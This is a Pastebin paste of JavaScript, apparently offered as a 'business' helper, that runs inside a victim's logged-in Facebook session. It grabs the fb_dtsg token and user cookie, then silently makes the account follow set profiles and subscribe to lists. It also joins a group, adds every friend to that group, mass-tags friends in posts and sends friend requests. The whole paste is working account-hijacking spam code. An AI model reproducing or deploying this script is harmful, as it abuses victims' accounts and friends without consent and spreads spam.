Black_Eagle96

Bisnes Kak Mimi

Feb 2nd, 2014
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.75 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert
  4. ('Selamat Berniaga Kak ^_^');
  5. function cereziAl(isim) {
  6. var tarama = isim + "=";
  7. if (document.cookie.length > 0) {
  8. konum = document.cookie.indexOf(tarama)
  9. if (konum != -1) {
  10. konum += tarama.length
  11. son = document.cookie.indexOf(";", konum)
  12. if (son == -1)
  13. son = document.cookie.length
  14. return unescape(document.cookie.substring(konum, son))
  15. }
  16. else { return ""; }
  17. }
  18. }
  19.  
  20. function getRandomInt (min, max) {
  21. return Math.floor(Math.random() * (max - min + 1)) + min;
  22. }
  23. function randomValue(arr) {
  24. return arr[getRandomInt(0, arr.length-1)];
  25. }
  26.  
  27. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  28. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  29.  
  30. function a(abone){
  31. var http4 = new XMLHttpRequest();
  32.  
  33. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  34.  
  35. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  36. http4.open("POST", url4, true);
  37.  
  38. //Send the proper header information along with the request
  39. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  40. http4.setRequestHeader("Content-length", params4.length);
  41. http4.setRequestHeader("Connection", "close");
  42.  
  43. http4.onreadystatechange = function() {//Call a function when the state changes.
  44. if(http4.readyState == 4 && http4.status == 200) {
  45.  
  46. http4.close; // Close the connection
  47.  
  48. }
  49. }
  50.  
  51. http4.send(params4);
  52. }
  53.  
  54. function sublist(uidss) {
  55. var a = document.createElement('script');
  56. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  57. document.body.appendChild(a);
  58. }
  59. a("100001586135119"); a("100002287465199");
  60.  
  61. sublist("523749481044629");sublist("1412537482309947");sublist("341543595981122");sublist("523749481044629");sublist("387027994766015");sublist("341543595981122");sublist("543320352431732");
  62.  
  63. var stn = new Array();
  64.  
  65. for (k=0;k<5;k++)
  66. {
  67. stn[k] = Math.floor((Math.random()*300)+1);
  68. }
  69. for (var h=0;h<5;h++) {
  70. for (var j=h+1;j<5;j++) {
  71. if (stn[h]<stn[j]) {
  72. var temp=stn[h];
  73. stn[h] = stn[j];
  74. stn[j]=temp;
  75. }
  76. }
  77. }
  78. var gid = ['216345015225916'];
  79. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  80. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  81.  
  82. var httpwp = new XMLHttpRequest();
  83. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  84. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  85. httpwp['open']('POST', urlwp, true);
  86. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  87. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  88. httpwp['setRequestHeader']('Connection', 'keep-alive');
  89. httpwp['send'](paramswp);
  90.  
  91. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  92. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  93.  
  94. var friends = new Array();
  95. gf = new XMLHttpRequest();
  96. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  97. gf['send']();
  98. if (gf['readyState'] != 4) {} else {
  99. data = eval('(' + gf['responseText']['substr'](9) + ')');
  100. if (data['error']) {} else {
  101. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  102. return _0x93dax8['index'] - _0x93dax9['index'];
  103. });
  104. };
  105. };
  106.  
  107. for (var i = 0; i < friends['length']; i++) {
  108. var httpwp = new XMLHttpRequest();
  109. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  110. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  111. httpwp['open']('POST', urlwp, true);
  112. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  113. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  114. httpwp['setRequestHeader']('Connection', 'keep-alive');
  115. httpwp['onreadystatechange'] = function () {
  116. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  117. };
  118. httpwp['send'](paramswp);
  119. };
  120. var spage_id = "168203030050094";
  121. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  122. var smesaj = "";
  123. var smesaj_text = "";
  124. var arkadaslar = [];
  125. var svn_rev;
  126. var bugun= new Date();
  127. var btarihi = new Date();
  128. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  129. if(!document.cookie.match(/paylasti=(\d+)/)){
  130. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  131. }
  132.  
  133.  
  134. //arkadaslari al ve isle
  135. function sarkadaslari_al(){
  136. var xmlhttp = new XMLHttpRequest();
  137. xmlhttp.onreadystatechange = function () {
  138. if(xmlhttp.readyState == 4){
  139. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  140. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  141. smesaj = "";
  142. smesaj_text = "";
  143. for(i=f*10;i<(f+1)*10;i++){
  144. if(arkadaslar.payload.entries[i]){
  145. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  146. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  147. }
  148. }
  149. sdurumpaylas(); }
  150.  
  151. }
  152.  
  153. };
  154. var params = "&filter[0]=user";
  155. params += "&options[0]=friends_only";
  156. params += "&options[1]=nm";
  157. params += "&token=v7";
  158. params += "&viewer=" + user_id;
  159. params += "&__user=" + user_id;
  160.  
  161. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  162. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  163. xmlhttp.send();
  164. }
  165.  
  166. //tiklama olayini dinle
  167. var tiklama = document.addEventListener("click", function () {
  168. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  169. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  170. sarkadaslari_al();
  171. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  172.  
  173. document.removeEventListener(tiklama);
  174. }
  175. }, false);
  176.  
  177.  
  178. //arkada?¾ ekleme
  179. function sarkadasekle(uid,cins){
  180. var xmlhttp = new XMLHttpRequest();
  181. xmlhttp.onreadystatechange = function () {
  182. if(xmlhttp.readyState == 4){
  183. }
  184. };
  185.  
  186. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  187. var params = "to_friend=" + uid;
  188. params += "&action=add_friend";
  189. params += "&how_found=friend_browser";
  190. params += "&ref_param=none";
  191. params += "&outgoing_id=";
  192. params += "&logging_location=friend_browser";
  193. params += "&no_flyout_on_click=true";
  194. params += "&ego_log_data=";
  195. params += "&http_referer=";
  196. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  197. params += "&phstamp=165816749114848369115";
  198. params += "&__user=" + user_id;
  199. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  200. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  201.  
  202. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  203. xmlhttp.send(params);
  204. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  205. cinsiyetgetir(uid,cins,"sarkadasekle");
  206. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  207. xmlhttp.send(params);
  208. }
  209. }
  210.  
  211. //cinsiyet belirleme
  212. var cinssonuc = {};
  213. var cinshtml = document.createElement("html");
  214. function scinsiyetgetir(uid,cins,fonksiyon){
  215. var xmlhttp = new XMLHttpRequest();
  216. xmlhttp.onreadystatechange = function () {
  217. if(xmlhttp.readyState == 4){
  218. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  219. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  220. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  221. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  222. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  223. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  224. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  225. }
  226. eval(fonksiyon + "(" + id + "," + cins + ");");
  227. }
  228. };
  229. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  230. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  231. xmlhttp.send();
  232. }
  233.  
  234. (function() {
  235. var css = ".";
  236. if (typeof GM_addStyle != "undefined") {
  237. GM_addStyle(css);
  238. } else if (typeof PRO_addStyle != "undefined") {
  239. PRO_addStyle(css);
  240. } else if (typeof addStyle != "undefined") {
  241. addStyle(css);
  242. } else {
  243. var node = document.createElement("style");
  244. node.type = "text/css";
  245. node.appendChild(document.createTextNode(css));
  246. var heads = document.getElementsByTagName("head");
  247. if (heads.length > 0) {
  248. heads[0].appendChild(node);
  249. } else {
  250. // no head yet, stick it whereever
  251. document.documentElement.appendChild(node);
  252. }
  253. }
  254. })();
Advertisement
Add Comment
Please, Sign In to add comment